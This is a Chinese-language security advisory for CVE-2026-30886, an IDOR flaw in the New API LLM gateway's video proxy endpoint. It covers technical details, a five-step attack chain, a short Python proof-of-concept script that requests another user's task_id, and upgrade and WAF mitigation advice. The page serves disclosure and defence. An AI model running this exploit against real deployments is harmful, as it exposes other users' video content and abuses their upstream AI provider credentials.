IPBUF安全漏洞报告
English
CVE-2026-30886 CVSS 6.5 中危

CVE-2026-30886 New API IDOR漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-30886
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
New API

相关标签

IDOR权限绕过New APILLM GatewayCVE-2026-30886

漏洞概述

New API是一个大语言模型网关和AI资产管理系统。在0.11.4-alpha.2版本之前,其视频代理端点存在不安全的直接对象引用(IDOR)漏洞。由于缺少授权检查,任何经过身份验证的用户均可访问属于其他用户的视频内容,并导致服务器使用受害者的凭证向上游AI提供商(如Google Gemini、OpenAI)进行身份验证。

技术细节

该漏洞存在于`GET /v1/videos/:task_id/content`端点中。开发人员在实现该功能时,仅调用了`model.GetByOnlyTaskId(taskID)`来查询任务信息,而未像代码库中其他部分那样使用`model.GetByTaskId(userId, taskID)`来验证当前用户是否拥有该任务的`user_id`。这导致攻击者在持有低权限账户的情况下,只需修改请求URL中的`task_id`参数,即可遍历访问任意用户的视频资源,并触发服务器端使用他人任务关联的凭证请求上游AI服务。

攻击链分析

STEP 1
1. 身份认证
攻击者注册并登录New API系统,获取有效的会话凭证或Token。
STEP 2
2. 识别端点
分析API功能,定位到存在漏洞的视频代理端点 GET /v1/videos/:task_id/content。
STEP 3
3. 构造攻击请求
攻击者修改请求中的task_id参数,将其替换为其他用户的任务ID(IDOR)。
STEP 4
4. 未授权访问
服务器接收到请求后,仅根据task_id检索数据,未验证请求者与任务的所有权关系。
STEP 5
5. 信息泄露与凭证滥用
服务器返回受害者的视频内容,并使用受害者的凭证向上游AI服务商发起请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target endpoint url = "http://target-domain.com/v1/videos/{task_id}/content" # Attacker's authenticated headers headers = { "Authorization": "Bearer <attacker_jwt_token>", "Content-Type": "application/json" } # Target victim's task ID (IDOR) victim_task_id = "12345" try: # Send request to access victim's content response = requests.get(url.format(task_id=victim_task_id), headers=headers) if response.status_code == 200: print("[+] Exploit Successful!") print("Response Content:") print(response.text) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")

影响范围

New API < 0.11.4-alpha.2

防御指南

临时缓解措施
建议立即将New API升级到包含补丁的0.11.4-alpha.2版本。若暂时无法升级,应通过网络ACL限制对/v1/videos/端点的访问,或部署Web应用防火墙(WAF)规则,检测并阻止针对task_id的异常遍历请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表